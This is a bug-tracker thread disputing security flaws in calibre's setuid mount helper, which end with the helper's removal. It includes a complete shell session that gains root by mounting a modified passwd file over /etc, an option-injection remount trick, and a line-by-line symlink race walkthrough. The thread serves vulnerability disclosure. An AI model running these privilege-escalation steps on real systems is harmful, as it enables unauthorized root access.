SUID Mount Helper has 5 Major Vulnerabilities

I dont see how 1-3 are security vulnerabilities. 4 is a vulnerability only if
mount itself is vulnerable to command line injection. 5 is indeed a
vulnerability, but is neccesitated by the non uniformity of linux filesystems
(mount, eject can be located anywhere). 5 can be mitigated by first checking
for mount and eject in "standard" locations and only then trying all of PATH,
changes for that will be in the next release.

Fixed in branch lp:calibre. The fix will be in the next release. calibre is usually released every Friday.

 status fixreleased

Oh, and I suppose there's a very obvious but critical #6:

6. An unprivileged user an mount/unmount/eject whatever he wants, with
root permissions. Danger.

Basically though, you shouldn't be using any suid executable at all. There's no place for it. It's not written correctly here, and there are lots of ways to avoid it entirely. In fact, Debian does the smart thing and strips yours out in favor of using a wrapper script around udisks: http://pastebin.com/HyVrJJyg

Regarding 1-3: certain programs might depend on the existence or lack of existence of a directory or file with a certain owner. The ability to add/remove a root owned directory/file anywhere on the system is most certainly a vulnerability of sorts.

Regarding 4: ...

You mean that a program designed to let an unprivileged user
mount/unmount/eject anything he wants has a security flaw because it allows
him to mount/unmount/eject anything he wants? I'm shocked.

Implement a system that allows an appilcation to mount/unmount/eject USB
devices connected to the system securely, then make sure that system is
universally adopted on every linux install in the universe. Once you've done that, feel free to
re-open this ticket.

"You mean that a program designed to let an unprivileged user
mount/unmount/eject anything he wants has a security flaw because it allows
him to mount/unmount/eject anything he wants? I'm shocked."

Unfortunately, sarcasm does not make you right. Yes, this is a critical security flaw, because anyone with calibre installed on their system now allows any user to gain root privileges by mounting on top of important directories. Just because your application allows this by design rather than by mistake doesn't make this less of a problem.

As for the other flaws identified, they represent violations of DAC (Discretionary Access Control). Essentially, if you can't design your setuid program in a way that does not grant additional unintended capabilities to unprivileged users (besides a carefully stated intended capability like "mount/umount/eject USB devices", then you shouldn't be using a setuid application.

There are already ways to safely achieve what you're trying to do without introducing security vulnerabilities. Ubuntu implements automatic mounting of USB media using udisks in conjunction with gvfs-gdu-volume-monitor. If this isn't an option, the "pmount" application allows users to safely mount and unmount removable media without introducing (obvious) security holes.

Sarcasm doesn't make me right, being right makes me right. The sarcasm was
just a bonus earned by the sanctimoniusness of the post I was responding to.

Like I said before. Develop a way of doing this THAT ACTUALLY WORKS ACROSS AS
MANY LINUX SYSTEMS AS THE CURRENT TECHNIQUE DOES. To re-emphasize that point
since you seemed to miss it the first time. It needs to work on *every single
linux distro that the current technique works on* not just version >= x of distro
y. If you can do so, feel free to re-open the ticket. If you cannot,
feel free to not use calibre or patch your
local install or ask your distro maintainer to patch it for you, replacing it
with whatever technique works for that distro.

The OP pointed out one legitimate area of concern, which I
have already committed a fix for.

You point out another, I have committed a fix for that as well.

Kindly do not lecture me about using a setuid exececutable. Shocking as that
may seem, I am actually aware of the dangers, and even if I weren't, rest
assured that plenty of your ancestors have pointed it out to me in the past
four years. Is it bad to have suid executables, yes. Is there a workable alternative, no.

  status fixreleased

The following set of commands works against your latest trunk to achieve root.

zx2c4@ZX2C4-Laptop ~ $ dd if=/dev/zero of=overlay count=51200
51200+0 records in
51200+0 records out
26214400 bytes (26 MB) copied, 0.0961621 s, 273 MB/s
zx2c4@ZX2C4-Laptop ~ $ /usr/sbin/mkfs.vfat overlay
mkfs.vfat 3.0.11 (24 Dec 2010)
zx2c4@ZX2C4-Laptop ~ $ mkdir staging
zx2c4@ZX2C4-Laptop ~ $ calibre-mount-helper mount overlay staging
zx2c4@ZX2C4-Laptop ~ $ cd staging/
zx2c4@ZX2C4-Laptop ~/staging $ cp -a /etc/* . 2>-
zx2c4@ZX2C4-Laptop ~/staging $ cat passwd | tail -n +2 > tmp
zx2c4@ZX2C4-Laptop ~/staging $ echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash" >> tmp
zx2c4@ZX2C4-Laptop ~/staging $ mv tmp passwd
zx2c4@ZX2C4-Laptop ~/staging $ cd ..
zx2c4@ZX2C4-Laptop ~ $ calibre-mount-helper eject overlay staging
eject: tried to use `./overlay' as device name but it is no block device
eject: unable to find or open device for: `overlay'
$ calibre-mount-helper mount overlay /etc
can't link lock file /etc/mtab~: Operation not permitted (use -n flag to override)
zx2c4@ZX2C4-Laptop ~ $ su
Password: {types in the password "toor"}
ZX2C4-Laptop zx2c4 # umount /etc
ZX2C4-Laptop zx2c4 # whoami
root
ZX2C4-Laptop zx2c4 # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Have a nice day.

Fun entertaining future ideas:

Mount over /root/.ssh. Mount over /home/special-user/.ssh.

"But the permissions!" you cry out.

So first you mount it like normal:

calibre-mount-helper mount overlay /path/to

Then the second time you remount with the uid settings you want:

touch -- '-ouid=1234,gid=1234,umask=345,remount'
calibre-mount-helper mount -ouid=1234,gid=1234,umask=345,remount /path/to

This is thanks to #4.

It is irresponsible and a disservice to your users to introduce security vulnerabilities onto their machines unless you have very explicitly and carefully documented to those users that installing your software introduces security risks.

Can you explain why pmount, which is supported at least on Debian, Ubuntu, Red Hat, Gentoo, Fedora, Slackware, SuSE, and CentOS, is an unacceptable alternative?

I didn't test it and I admit that I'm not a linux guru, but isn't the CALIBRE_DEVELOP_FROM environment variable feature sufficient to do anything (including getting root) on a linux system with calibre installed, as I can execute arbitrary python code with it?

I don't see how the CALIBRE_DEVELOP_FROM environment variable would give an non-root user root. This bug is about the SUID mount helper (which is written in C not python) .

Sorry, my bad. I didn't realize that the mount helper is SUID and not the calibre executable.

Status changed to 'Confirmed' because the bug affects multiple users.

Problems with pmount:

1) It does not work out of the box on all distros (it needs configuration)
2) It may not even be installed on some distros, for example, it isn't
installed by default on gentoo.
3) It has been deprecated in favor of udisks (which incidentally calibre tries
to use before falling back to the mount helper)

So, no, pmount is not a suitable replacement.

Fix committed for the latest exploit. Feel free to re-open if you find another
exploit based on 4.

 status fixreleased

Updated the exploit.

Ah, realpath()

 status fixreleased

There's still a symlink race condition. If at first the symlink points to /dev/something-legit or /media/something-legit, the symlink can be swapped easily by hooking into inotify's IN_ACCESS and changing what it points to just in time for mount to be called with the s ymlink pointing someplace naughty. An example of the technique is presented here: http://www.exploit-db.com/exploits/17932/ .

So, the vulnerability still stands.

Easily remedied by calling realpath on dev at the start of main()

Still unfixed. There are still exploitable race conditions present that allow you to mount whatever you want wherever you want.

For example, to mount a device not under /dev, simply provide an argv[2] referring to a symlink pointing to somewhere in /dev, and after the realpath()'d version is checked, switch the target to somewhere else. If you want to do this properly, you need to update the device source such that after calling realpath(), all subsequent references to the device are to the realpath()'d version.

The same trick can be applied to mount on top of arbitrary mountpoints (which is a local root hole). First mount something you can write to onto a mountpoint in /media, and then exploit the race condition similar to above (switching from a mountpoint within /media to anywhere you like).

Even without these critical bugs, being able to mount anything in /dev on top of anything in /media is not a good idea - pmount restricts this to removable devices or devices whitelisted in a configuration file (/etc/pmount.allow). And you've done nothing to address the previously mentioned abilities to play with creating and removing arbitrary directories/files. I strongly recommend giving up on implementing this yourself and instead creating a dependency on pmount or bundling it with your package (it's GPLv3, so it's license-compatible). It is very difficult to do what you want to do safely, and it is unacceptable to permit root privilege escalation vulnerabilities without documenting it.

I've already committed a fix for symlinks in /dev, maybe you missed my last
comment.

pmount will not work, I have told you why
it will not work. I am not going to repeat myself.

Let's recap:

First note that unprivileged users cannot create symlinks in /dev
on any well designed system. So symlink attacks are not actually
possible, nonetheless, I have already removed the possibility of using
symlinks under /dev.

calibre-mount-helper currently allows an unprivileged user to:

1) Delete empty directories only under /media. I see absolutely nothing wrong with
that.

2) Mount anything under /dev to anything under /media. Again I see nothing
wrong with that, outside of highly system specific scenarios. Feel free to
post a general purpose exploit, if you can come up with one, I can always fix
it.

3) Unmount anything under /media

4) Create empty directories anywhere on the system.
This can be fixed, with some effort, but I am not yet convinced
it is an actual vulnerability.

*) Something else courtesy of a bug. If such a thing exists, point it out and
I will fix it.

Just a note about all the histrionics around "critical" security
exploits. calibre is designed to run mainly on end user computers (single
user, typically a desktop or a laptop). On such a machine if a malicous program
can run with user privileges it already has access to everything that actually
matters on the system, namely the user's data. Privilege escalation would be
useful only in trying to hide the traces of the intrusion. The damage is
already done. Undoubtedly there are plenty of scenarios where that is not
true, but the fact remains that for the vast majority of calibre users, this
is a non issue. So kindly tone down the hyperbole, and restrict your posts to
discussion of calibre-mount-helper, otherwise you will be ignored.

"First note that unprivileged users cannot create symlinks in /dev
on any well designed system. So symlink attacks are not actually
possible, nonetheless, I have already removed the possibility of using
symlinks under /dev."

You've forgotten about /dev/shm.

And you still haven't fixed the ability to mount on top of any directory via symlinks, which has already been demonstrated to allow escalation to root.

"Just a note about all the histrionics around "critical" security
exploits. calibre is designed to run mainly on end user computers (single
user, typically a desktop or a laptop). On such a machine if a malicous program
can run with user privileges it already has access to everything that actually
matters on the system, namely the user's data. Privilege escalation would be
useful only in trying to hide the traces of the intrusion. The damage is
already done. Undoubtedly there are plenty of scenarios where that is not
true, but the fact remains that for the vast majority of calibre users, this
is a non issue. So kindly tone down the hyperbole, and restrict your posts to
discussion of calibre-mount-helper, otherwise you will be ignored."

Even if this is the case for the majority of calibre users, I wouldn't consider this acceptable unless there was a big flashing banner when you install calibre that says "if you install this every user can gain root privileges." There are plenty of multi-user environments, and plenty of situations where compromising a user account isn't as bad as gaining root access.

"2) It may not even be installed on some distros, for example, it isn't installed by default on gentoo."

That should not be considered an issue. If we need to update dependencies for calibre for our users on Gentoo, we do it.

As a Linux distribution, dependency resolution is our problem

For the record, I'm not in any way attached to using pmount, I just wanted to pose it as a potential second choice. udisks is much better, is nearly universally supported amongst desktop Linux distributions, and is what Ubuntu and Debian currently use for this.

@Rosenberg: Yes, I have. And you were warned, this is the last response you
will get from me.

@Mike: Many distros replace calibre-mount-helper with something suitable for
the particular distros' disk handling strategy, and I encourage you to do the
same in Gentoo if you dont already do it (incidentaly I'm a Gento user). You
can actually do something as simple as replacing it with a bash script that
always returns an error code and does nothing else. Add udisks as a calibre
dependency and calibre will automatically use udisks via DBUS when available. This
will, of course, break for those users for whom udisks doesn't work for
whatever reason. Whether that is a large fraction of Gentoo users or not, only you
can judge. This discussion really applies only to the calibre binary download,
which does no dependency resolution and is intended to *work out of the box*
on a huge variety of linux systems. Unfortunately, linux has historically had
no universal way to handle removable disks without root access, neccessitating
the use of a suid executable.

Kovid: No, you haven't. Your code contains a race condition that allows a bypass of the checks you've put in place. Here's another exploit. You can warn and ignore me all you want, it doesn't make this code any safer.

Ubuntu, from 10.10 (maverick) and after, uses the udisk-based shell script that Martin Pitt wrote instead of the upstream calibre setuid helper. In Ubuntu 10.04 LTS (lucid), the calibre package does not include the setuid helper at all. Ubuntu 8.04 LTS (hardy) does not include calibre at all. Marking the Ubuntu task as invalid.

Thanks to Ubuntu for not shipping an obviously exploitable component in the face of an arrogant upstream author who puts his users at risk.

I find it baffling how poorly the developers for this project are handling this bug. It is, in fact, already circulating the internet due to their arrogance.

(2:45:52 PM) MyFriend: ha ha calibre devs are annoying.
(2:46:15 PM) MyFriend: https://bugs.launchpad.net/calibre/+bug/885027

I'm not sure this is actually exploitable...the posted exploit fails on my GNU/kFreeBSD box:

$ gcc 70calibrerassaultmount.sh -o full-nelson
70calibrerassaultmount.sh: file not recognized: File format not recognized
$ ./full-nelson
-bash: ./full-nelson: No such file or directory

Is there different compiler (icc?) or architecture (maybe needs a RISC arch?) requirement?

chmod +x 70calibrerassaultmount.sh
./70calibrerassaultmount.sh

> Jacob Appelbaum wrote:
> Thanks to Ubuntu for not shipping an obviously exploitable component in the face of an
> arrogant upstream author who puts his users at risk.

Until this comment, I was on the side of fixing with the exploits. Now, as far as I am concerned you should go play frisbee on a freeway.

@Jacob Appelbaum
@Chris Vickery

Do you really believe that throwing insults around in this bug report is going to resolve any issues? Unless you have something constructive to contribute to the bug report, please find another outlet for your frustrations.

Warning to all:
I'd be wary running this 70-calibreassaultmount.sh on multi user systems. The temporary file used to drop a payload is created in an insecure manner and can be exploited to execute code under the context of the user.
I would like ubuntu for not including this obviously exploitable test case in the face of an arrogant security researcher.

This has been fun, but in case you're actually interested in fixing the problem, I am still willing to help.

One way to fix races with the mountpoint is to chdir into the mountpoint, stat "." and check ownership, and mount on top of ".". That way there's no risk of users changing components of the mountpoint path out from under you. If the chdir fails, give a non-descriptive error message that does not delineate between the cause of failure for the chdir (otherwise an attacker can use this to determine the existence of files and directories in search paths he can't navigate to).

To fix races with the mount source, you should check against /dev/shm, as this is the only world-writable directory in most /dev filesystems that I know of.

That would at least solve the two biggest problems here, and then we can move on to addressing the smaller ones.

"To fix races with the mount source, you should check against
/dev/shm, as this is the only world-writable directory in most /dev
filesystems that I know of."

Or more generally, stat and check root ownership and permission on the
directory of the device. (Though, you can't chdir into both.)

You additionally could make sure it is a block device. You could also
check to see if the block device is removable / matches the identifier
of supported ebook readers / something else.

You could even go a step further and not call out to mount as an
external program, but make the syscalls yourself, dealing with the
handfuls of new problems you'll have and various mtab issues and who
knows what else.

(Of course, at this point, you might as well just be using
pmount/udisks/microsoftwindows/whatever.)

"To fix races with the mount source, you should check against
/dev/shm, as this is the only world-writable directory in most /dev
filesystems that I know of."

Or more generally, stat and check root ownership and permission on the
directory of the device. (Though, you can't chdir into both.)

You additionally could make sure it is a block device. You could also
check to see if the block device is removable / matches the identifier
of supported ebook readers / something else.

You could even go a step further and not call out to mount as an
external program, but make the syscalls yourself, dealing with the
handfuls of new problems you'll have and various mtab issues and who
knows what else.

(Of course, at this point, you might as well just be using
pmount/udisks/microsoftwindows/whatever.)

It's way past my bedtime, so I'd appreciate it if you could post the patch to
mount-helper (by now you should be as familiar with the code as I am). If not,
I'll get to it tomorrow. And thanks for the help.

Unfortunately, the saga continues. Your /shm/ check doesn't do anything, because, as it turns out, because you realpath twice, I don't need to use /shm/ at all! Your code is still broken. Giving up should still be an option on the table for you. In case, however, you've become determined and still want to fix things, I've traced through the code for your recent commit showing you where and how things are broken.

/tmp/burrito is a file

argv[2] = /tmp/burrito

332 if (strncmp(action, "mount", 5) == 0) {
333 dev = realpath(argv[2], NULL);

dev = /tmp/burrito

334 if (dev == NULL) {
335 fprintf(stderr, "Failed to resolve device node.\n");
336 exit(EXIT_FAILURE);
337 }
339 check_dev(dev);

239 void check_dev(const char *dev) {

dev = /tmp/burrito

240 char buffer[PATH_MAX+1];
241 struct stat file_info;
242
243 if (dev == NULL || strlen(dev) < strlen(DEV)) {
244 fprintf(stderr, "Invalid arguments\n");
245 exit(EXIT_FAILURE);
246 }

JUST BEFORE this next line, we modify /tmp/burrito so that it points to /dev/sda

/tmp/burrito = -->/dev/sda

247
248 if (realpath(dev, buffer) == NULL) {
249 fprintf(stderr, "Unable to resolve dev path\n");
250 exit(EXIT_FAILURE);
251 }

buffer = /dev/sda

252
253 if (strncmp(DEV, buffer, strlen(DEV)) != 0) {
254 fprintf(stderr, "Trying to operate on a dev node not under /dev\n");
255 exit(EXIT_FAILURE);
256 }

this last block passes!

257
258 if (stat(dev, &file_info) != 0) {
259 fprintf(stderr, "stat call on dev node failed\n");
260 exit(EXIT_FAILURE);
261 }
262
263 if (strstr(dev, "/shm/") != NULL) {
264 fprintf(stderr, "naughty, naughty!\n");
265 exit(EXIT_FAILURE);
266 }

dev doesnt contain /shm/, since it's /tmp/burrito

267
268 if (!S_ISBLK(file_info.st_mode)) {
269 fprintf(stderr, "dev node is not a block device\n");
270 exit(EXIT_FAILURE);
271 }

stat follows the link, so it sees /dev/sda which is a block device, so this passes

272
273 }

:-)

As well, the problem presented in .70-Calibrer HAS NOT BEEN FIXED. You can still mount over /etc/pam.d or wherever due to the still existing race there. Implement the chdir logic that I've outlined above.

Then, just after this code block, change /tmp/burrito to point to anything -- any file image at all. No shm needed :-).

Please note that I misjudged just how broken this code is, and restricting /dev/shm is not enough to prevent from mounting arbitrary devices. I expect Jason will show you how.

Just so this is perfectly clear: what's happening in this bug report right now is a perfect example of how *not* to do security response. When faced with two people who clearly know a few things about secure coding, rather than taking their advice and actually fixing the root cause of the problem (or abandon it as a hopeless situation, which is probably the more appropriate response), you've chosen to waste our time by demanding that we write weaponized exploits to exploit what most people already know to be exploitable. To top it off, when shown repeatedly how your half-baked "fixes" don't actually fix anything, rather than taking our advice you just add another small hurdle that can be trivially bypassed. It would be sad if it weren't so funny.

I've decided that it's time to stop beating a dead horse. Usually I get paid good money to own software this hard, and I don't think you're worth making an exception. Best of luck, I'm sure you'll figure it out eventually.

Hello. I've attached a patch for you, as requested. It replaces the mount helper with the nice udisks-based script that ubuntu ships. For distributions that do not support udisks, they can add their own. Or, you can write something different. In light of this, you might consider removing the following text from your website: "Please do not use your distribution provided calibre package, as those are often buggy/outdated. Instead use the Binary install described below." Goodbye.

@Dan: As I suspected, you're in this not to contribute something to the community, but as a destructive influence. You will not be missed. Try and remember that I am not attempting to fix calibre-mount-helper for some sort of personal gain, but simply to allow people using calibre to have the best possible experience. I readily admit I don't know as much about secure coding as you do, but hey, at least one of us is trying to learn something. Look back at the start of this bug report. Every time I was convinced of the existence of an actual exploit, I have attempted to fix it. Maybe my fixes were naive, but dont forget that it's a lot easier to find holes in something, than to build somethig without holes in the first place.

@Jason: Indeed, I did overlook the second realpath call, now fixed.

@Kovid:

Yet you continue to ignore some major advice about how to fix it. Have you chdir'd yet? No. Still vulnerable.

My final word is that you should give up trying to reinvent the wheel, and use a method supplied by the distro for mounting disks. It's not worth my time to play whack-a-mole here. As Dan said, "Usually I get paid good money to own software this hard, and I don't think you're worth making an exception." Indeed.

The solution is easy and obvious, but it involves backing away from stubbornness and accepting that the distro-supplied tools handle mounting inline with distro policy, and it isn't your place to reinvent things. Take a look at Gentoo Mike's post from a while back -- it's dead on. Besides, you haven't even begun to address issues #1-#3.

I believe this discussion is over. Goodbye Kovid. I wish you well with Calibre and that you can restore the security confidence of your users.

I keep trying to leave this bug report but I keep getting dragged in. It's worse than Twitter.

"As I suspected, you're in this not to contribute something to the community, but as a destructive influence. You will not be missed."

You seriously think I came to this thread to start a fight with you? What about the several *hundred* other security bugs I've fixed in open source software on my own free time?

"Every time I was convinced of the existence of an actual exploit, I have attempted to fix it."

Except for the part where I posted a working exploit and you completely ignored me.

"Maybe my fixes were naive, but dont forget that it's a lot easier to find holes in something, than to build somethig without holes in the first place."

I disagree, I think it's more like "it's easier to do something properly from the beginning than to patch a broken implementation one exploit at a time."

Your code is still broken, you can mount a legitimate block device on top of another directory in /dev by exploiting the mountpoint race that still exists, and then use that now-writable directory in /dev to mount an arbitrary filesystem on top of wherever. I suggest you accept Jason's patch and stop trying to fix this code.

@Jason: Well, if you do not wish to help, that leaves me with no choice but to
remove the mount helper. I think it's a pity, for those people for whom
device detection in calibre will stop working out of the box. But, I tried, to
the best of my ability. I had hoped that we could work together to make it a
possibility, but, apparently not.

Closing bug as fix released (currently I only have the energy to add an exit()
at the start of main, the full removal will have to wait for a good nights
sleep).

  status fixreleased

@kovid

Your behavior toward Dan is confusing, as he has been cordial and informative. There is nothing to suggest he has been a "destructive influence" in any of his posts. It was you who first showed attitude toward both Dan and Jason in posts #7 and #9, the consequences being a bug report that has now received a lot of attention elsewhere for the wrong reasons.

@Dan:

Right.

In other words, mount /dev/sdaX to /dev/newfolder using the race condition exploited in .70-calibrer. Then build the stager in /dev/newfolder/home/username/whatever. Then use the race exploited in .80-calibrer to toggle whatever between being a symlink to /dev/sda and being the stager.

The tricks are endless.

OKAY GOODBYE BUGREPORT.

@Kovid

Great to hear!

@Dan: You were on my ignore list, which meant I never saw your exploit (I
interact with launchpad via email). I only saw it when Jason mentioned it in a
post of his. If I had seen it earlier, I would have attempted to fix it. See
for instance my posts asking Jason for news on an updated exploit.

And for someone not trying to pick a fight, you certainly succeeded.

"it's easier to do something properly
from the beginning than to patch a broken implementation one exploit at
a time."

Now if only we had a working time travel machine. Given that in the now we
have a broken implementation, our options are:

1) Try to fix it, one exploit at a time.

2) Re-write it from scratch. Since the only one volunteering to do any
re-writing was me, I don't see how that would have improved matters at all.

@preston:

Well, let me say that if I was the one that first showed attitude, I
apologize. But you have to remember that I do *all* calibre bug triage (besides
doing a large part of the developement). I get to deal with lots of bug
reports from people, the vast majority of which are dubious at best. In
Jason's original post, only one of his five flaws seemed serious to me (the one
he attached an exploit for), so that is the one I fixed. It turned out I was
wrong about the mount exploit, but, from my perspective, I don't know Jason
from Adam, and he has to convince me of the seriousness of his claims, merely
saying they are serious is something I will ignore, from long and exhausting
experience. When he did prove its seriousness to me, I tried to fix it, as
best I could.

You may well ask why I didn't just take his advice and abandon the mount
helper. For me to do something that drastic, I must be convinced it is indeed
the best course possible. That may make me stubborn at times, but it is also
the attitude that ensures calibre remains as stable as possible.

@kovid:

I understand that you have a full plate, but your initial reaction was not just to question the legitimacy of the exploits but to dismiss them as sanctimonious when people kept insisting that the issues were more severe than you assumed. However, that you are apologetic is to be respected.

I agree with Preston. Discussion rapidly devolved from the beginning into accusations thrown around. Everybody is in a bad mood when they report bugs and when they receive bugs. Extra care must be taken by everyone to avoid inflammation. It would be helpful if the folks involved apologized, backed up and tried again.

What I would suggest to move forward is to see if anyone would like to volunteer to do the work on a rewrite. The discussion has been focused on patching and breaking the existing implementation and arguing if it can be done better. Nobody was ever asked for volunteers for a rewrite and that sort of discussion scares volunteers away.

@kovid What you can do now, as project owner, is create a branch and let people try and write a secure, cross platform capable mounter. You don't have to do much more than provide the branch and answer questions about the implementation as needed. Most of your job will be to stay out of the way. Let the volunteers work on their problem and see where it goes.

@Jason & @Dan & others: Would you be willing to work on a cross platform mounter, either for calibre or as a 3rd party tool/library calibre could use?

As I have already said, in a previous response, I would be delighted if
someone developed a zero config library that worked across linux distributions
and BSDs to mount USB devices. What's needed is that it allow:

1) The mounting of any USB block device identified by device node
   to a mountpoint under /media

2) ejecting of any USB block device and the removal of the corresponding
mountpoint under /media

3) It needs to be embeddable in a self contained distribution like calibre. In
particular this means it must not require the application developer to tweak
it, as such tweaking introduces the possibility of security holes.

However, let me emphasize that these functions are already performed adequately
in modern linux distributions by udisks. An implementation of such a library
in python has been present in calibre in udisks.py for years. This reduces the
incentive of people to work on a solution approporiate to older distributions.
That is regrettable, but unavoidable. Personally, I doubt any such library
will ever be developed. Given the difficulties of dealing with paths securely,
the easiest route to developing it, via calls to mount and eject is closed.
Which means you would essentially have to re-implement mount and eject with
additional logic to allow unprivileged users access to certain classes of
device. That is a huge task.

At this point, people on older distributions will just have to manage their
devices manually. I have taken my best shot at it, and failed. Someone else is
more than welcome to pick up the gauntlet. A library like this has to be self
contained, so development of it should not be part of a larger project like
calibre.

There is no /media on BSD.

(Other than that, YMMD.)

Kovid,

Because of the treatment you demonstrate towards your users, I have decided to uninstall calibre, effective immediately.

Sincerely,

Leon Kaiser of the GNAA

PS: Can anyone suggest any alternatives to calibre?

I was quite concerned and excited when I learned that I've got calibre-mount-helper and saw these exploits getting lot of attention. my initial instinct was to uninstall calibre. Call me paranoid but it questions the security of the rest of the package as well. So I tested one of them:
 .50 version.
 Didn't work, then I tried .60 and .70. didn't work as well. I was disappointed.
I was curious so I tried:
$ cat /usr/bin/calibre-mount-helper
And this is what I got:
#!/bin/sh

# This is a dummy script shipped in the fedora calibre package.
# Since we have better/safer/easier ways to mount mass storage devices
# there's no need to have a suid binary try and do this.
# This script simply exits telling calibre that the device is already
# been mounted by your desktop.

exit 1

Thats when I remembered why I like Fedora.

Also pardon my bad English noncontributing comment (this one too).

@Fou-Lu - Please, grow up. With much difficulty, he has removed the broken functionality/exploitable code.

@Thorsten - I have /media on FreeBSD 8.2. That's where KDE likes to mount things for me.

@Kovid - HAL was deprecated on linux, but not on BSD. Instead the issues in HAL were fixed, and the HAL we have on BSD is much improved compared with whatever HAL was last developed in the Linux kernel. As far as I can tell, GIO is working fine with HAL on my system, though I can't say I've done any programming with it; I've always found it sufficient to mount/unmount manually using the dolphin file browser. As it sounds like many distros have already been specifically patching your application before distributing it in their repos, perhaps it would be good to survey what various package managers are doing on Fedora, Debian/Ubuntu, FreeBSD (it's in ports...), OpenSuse, etc. Perhaps a consensus can be found that you've overlooked.

Or maybe "a single binary that works everywhere without compiling" solution just isn't appropriate for the unix world. Certainly I make sure my users have a very good reason for installing anything from upstream sources on our network. If somethings in the repositories/ports collection, then there better be something seriously wrong with it to allow upgrading from somewhere else. I can certainly remember a few cases where the upstream developer was feigning ignorance while carefully crafting network security holes which package maintainers dutifully patched, until the project was finally excluded from the repos.

More clear had I written "With much regret, he...".

@Bob/Paul He treated his userbase with contempt and disrespect. I refuse to use anything made by this man.

Leon Kaiser of the GNAA.

A typical example how one should _not_ report bug, and how one should _not_ respond to bug reports! Too much ego from reporter and developer only lead to great loss for Linux/BSD users.
For bug reporters, please provide a link to amazing software/patch you wrote before you start preaching software practices! For developers, please treat your users with respect!

At the end, the bug at least show the sorry state we have on Linux in regards of modern programs dealing with various devices.

As calibre user I want it to work out of the box, but I would prefer having to execute it as root every time just to have its full features, rather than giving every user on the system the ability of become root. I agree with ravomavain on this, gksu is the way to go.

OFF-TOPIC

This thread has been tagged as "How to Absolutely Not React To Vulnerabilities In Your Code" by Packet-Storm http://packetstormsecurity.org/news/view/20122/

> As calibre user I want it to work out of the box ... I agree with ravomavain on this, gksu is the way to go.

The mount helper was only used if udisks is not present. calibre still works out of the box on the vast majority of modern Linux distros.

Adding support for gksu would require dependencies (and the inclusion) on GTK, PolicyKit and gksu-polkit. I don't see it being very likely that a distro that does not support udisks will support all of the requirements for gksu. Remember the mount helper was only a fall back when better methods (udisk) was not present.

Also calibre is a Qt project. A Qt (not GTK) solution would make more sense.

While I fully agree that any form of vulnerability should be fixed, I think many here are doing Kovid wrong.

a) He is providing the currently greatest piece of software for ebook management for free, donating large portions of his free time into the project

b) Giving full support here and on the mobileread.com forum

c) Has the full right to be proud of his work and initially doubt and/or question vulnerability reports from an unknown source

d) Has shown that he is willing to learn and improve once he was convinced that people like Dan Rosenberg and Jason A. Donenfeld are really experts in their profession and know what they are talking about

The three main actors (Kovid, Dan, Jason) had a very emotional and kind of non-constructive start (for me attributable to all three - no offence meant) but it turned to the better. Kovid initially being very usability minded while Dan and Jason being completely security minded they came to a more mutual understanding during this discussion.

And given the nature of a discussion, defending once position until being convinced is just normal. Exaggerated and insulting comments like "treating users with disrespect", "I will uninstall Calibre...", "Perfect example of how not to react to bug reports" are neither appropriate nor justified.

From my side a big "thumbs up" for Kovid, Dan and Jason and many thanks for your contributions to the Open Source world.

Kind regards

..but for those who want to switch it should be noted that there is the package "fbreader" which is also not bad, here in Launchpad to find at: https://launchpad.net/fbreader

I only write this because of the question for alternatives - and one of the greatest strenghts of open-source software is the freedom to choose.

But of course, I also hope the people who want to help and the developer, get together and we getting a secure ebook reader again.

If not, I also want to say that there is another big strength of open-source software: The possibility to fork... ;)

Just my 5 eurocents..

> ..but for those who want to switch it should be noted that there is the package "fbreader" which is also not bad, here in Launchpad to find at: https://launchpad.net/fbreader

FBReader is only a reader. calibre is a reader, manager, news downloader, converter, and more.

> But of course, I also hope the people who want to help and the developer, get together and we getting a secure ebook reader again.

It is secure. If you had read any of the number of posts where multiple people have said that the mount helper (the insecure component) is now removed you would realize this.

>The mount helper was only used if udisks is not present. calibre still works out of the box on the vast majority of modern Linux distros.

Please correct me if I'm wrong,
even if you have a modern distro with udisks, if you installed calibre via the official binary install, which is recommended in the website ("Please do not use your distribution provided calibre package, as those are often buggy/outdated. Instead use the Binary install described below. ") then calibre-mount-helper gets installed automatically even if udisks is present. Doesn't matter if calibre uses it or not. Every user that followed that advise is now vulnerable to privilege escalation.

@Neo139, That's why the mount helper has been removed. It introduces a security vulnerability so the issue is resolved by not installing it on users systems going forward. Just like with any other program a user will need to update to take advantage of security fixes.

Gentlemen, Kovid fixed this bug by removing the component (which was the right way to do it). I expect he's going to release the fixed version very soon and then everyone who updates will be safe - regardless of using a distro package or the binary installer.

Can we let this go now?

@Kovid

The cross-platform library you are looking for already exists; why would anyone gather with you to write a new one?

I am quite surprised how long this thread has gotten.

I side with Kovid. I admire him for doing this app. Because ever since Red Hat 7 or 8 I keep reading on the open source (not free software!) forums something along the lines of „if you need it — go build it, now p*** off as we're doing something cool”. He has gotten up and wrote this which is quite unique at the moment. Also he bothers to keep it updated quite often while most of the open source projects (including corporate backed Open Office for example) stagnate.

I also admire him for not playing the racism card. From what I gather most of you come from the so–called western world, and in my life of working for outsourced companies I've seen quite a few orientals supporting their lack of education, language and coding skills with this. This is the best he can do. If you can do better, please help him patch it.

I do agree that he has an „interface” problem, which is more than obvious in his forum postings on mobileread. To my shame I admit I do not know much more than tasted a few curry dishes about his culture. Just try to put yourself in his shoes. Maybe what comes up after a translation as rude, harsh or plain stupid may just be sound normal to him. And attacking him just because of a misunderstanding can just make things worse.

Maybe posting an „unsafe app” label might help. Most probably just diasabling some functions would make more people mad than those who would be happy. Myself I'm sure I'd be split between the two. Also, maybe reading closer the software licence as of „no liability whatsoever” would make people more aware. Maybe just by signing Kovid Goyal should be enough of a warning. He could have posted as Jon Johnson just as well.

"For example, to mount a device not under /dev, simply provide an argv[2] referring to a symlink pointing to somewhere in /dev, and after the realpath()'d version is checked, switch the target to somewhere else. If you want to do this properly, you need to update the device source such that after calling realpath(), all subsequent references to the device are to the realpath()'d version."
Kovid - This is a Time of Check/Time of Use (TOCTOU). You can read more about in Bishop and Dilger's paper at http://nob.cs.ucdavis.edu/bishop/papers/1996-compsys/racecond.pdf.

"I side with Kovid. I admire him for doing this app. Because ever since Red Hat 7 or 8 I keep reading on the open source (not free software!) forums something along the lines of „if you need it — go build it, now p*** off as we're doing something cool”. He has gotten up and wrote this which is quite unique at the moment. Also he bothers to keep it updated quite often while most of the open source projects (including corporate backed Open Office for example) stagnate."

